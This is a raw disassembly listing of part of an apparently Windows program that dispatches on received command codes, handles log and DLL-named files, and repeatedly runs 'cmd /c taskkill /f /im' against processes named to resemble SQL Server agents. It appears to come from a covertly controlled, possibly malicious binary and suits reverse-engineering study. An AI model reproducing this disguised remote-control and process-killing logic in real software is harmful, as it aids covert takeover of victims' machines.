mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425052
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc_builtins64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4250b8
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4250cb
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4250ee
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425154
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425167
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42518a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4251f0
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425203
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425226
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529044
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529044]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4252bd
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4252d0
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4252f3
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425359
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42536c
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42538f
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4253f5
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425408
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42542b
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529044
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529044]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4254c2
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4254d5
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4254f8
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42555e
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425571
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425594
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4255fa
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42560d
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425630
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529094
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529094
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
call fcn.0042cd72
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529094]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425714
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425727
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42574a
push ebx
call fcn.00461dbe
add esp, 4
push 0
call fcn.00461dd0
add esp, 4
jmp 0x42ccc7
push str.80003
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x425b56
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f624d
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4257c0
push ebx
call fcn.00461dbe
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x4f6257
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4257eb
mov eax, 0x4f1c44
push eax
push 3
mov eax, 1
mov ebx, 0x4c0a60
call fcn.00461dca
add esp, 0x28
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x425819
mov eax, 0x4f1c44
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42582d
mov eax, 0x4e9a10
push eax
push 2
mov ebx, 0x464000
call fcn.00461db8
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425850
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x425860
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x425873
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x5290ac]
test ebx, ebx
je 0x4258a0
push ebx
call fcn.00461dbe
add esp, 4
pop eax
mov dword [0x5290ac], eax
mov dword [0x529098], 1
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529040
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529040]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4259cb
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4259de
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425a01
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425a67
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425a7a
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425a9d
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425b03
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425b16
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425b39
push ebx
call fcn.00461dbe
add esp, 4
push 1
push 1
push 1
push 0x14
call fcn.0040e34c
call fcn.0041e59d
jmp 0x42ccc7
push str.80004
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x426441
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f503f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x529064]
test eax, eax
jne 0x425ba2
mov eax, 0x4e9a10
push eax
push 4
mov ebx, 0x4628a0
call fcn.00461db8
add esp, 0x34
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
jne 0x425c19
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f503b
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x529064]
test eax, eax
jne 0x425bf5
mov eax, 0x4e9a10
push eax
push 4
mov ebx, 0x4628a0
call fcn.00461db8
add esp, 0x34
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
jne 0x425c19
xor eax, eax
jmp 0x425c1e
mov eax, 1
test eax, eax
je 0x42600a
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.AMD_a.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425c74
push ebx
call fcn.00461dbe
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x4f6257
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x425c9f
mov eax, 0x4f1c44
push eax
push 3
mov eax, 1
mov ebx, 0x4c0a60
call fcn.00461dca
add esp, 0x28
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x425ccd
mov eax, 0x4f1c44
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425ce1
mov eax, 0x4e9a10
push eax
push 2
mov ebx, 0x464000
call fcn.00461db8
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425d04
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x425d14
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x425d27
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x5290b0]
test ebx, ebx
je 0x425d54
push ebx
call fcn.00461dbe
add esp, 4
pop eax
mov dword [0x5290b0], eax
mov dword [0x529098], 1
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529044
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529044]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425e7f
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425e92
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425eb5
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425f1b
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425f2e
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425f51
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425fb7
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425fca
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425fed
push ebx
call fcn.00461dbe
add esp, 4
push 1
push 1
push 1
push 0x14
call fcn.0040e34c
call fcn.0041e59d
jmp 0x42643c
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f5043
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x529064]
test eax, eax
jne 0x42603d
mov eax, 0x4e9a10
push eax
push 4
mov ebx, 0x4628a0
call fcn.00461db8
add esp, 0x34
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
je 0x42643c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x426070
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x5290b4]
test ebx, ebx
je 0x42609d
push ebx
call fcn.00461dbe
add esp, 4
pop eax
mov dword [0x5290b4], eax
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f627d
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4260f1
push ebx
call fcn.00461dbe
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x4f6257
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42611c
mov eax, 0x4f1c44
push eax
push 3
mov eax, 1
mov ebx, 0x4c0a60
call fcn.00461dca
add esp, 0x28
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x42614a
mov eax, 0x4f1c44
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42615e
mov eax, 0x4e9a10
push eax
push 2
mov ebx, 0x464000
call fcn.00461db8
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426181
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x426191
push ebx
call fcn.00461dbe
add esp, 4
mov dword [0x529098], 1
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529048
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529048]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4262b6
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4262c9
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4262ec
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426352
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426365
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426388
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4263ee
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426401
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426424
push ebx
call fcn.00461dbe
add esp, 4
push 1
push 1
push 1
push 0x14
call fcn.0040e34c
call fcn.0041e59d
jmp 0x42ccc7
push str.80002
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x426ab9
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4264ed
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0042d07b
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426526
push ebx
call fcn.00461dbe
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42654c
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42655c
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42656f
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
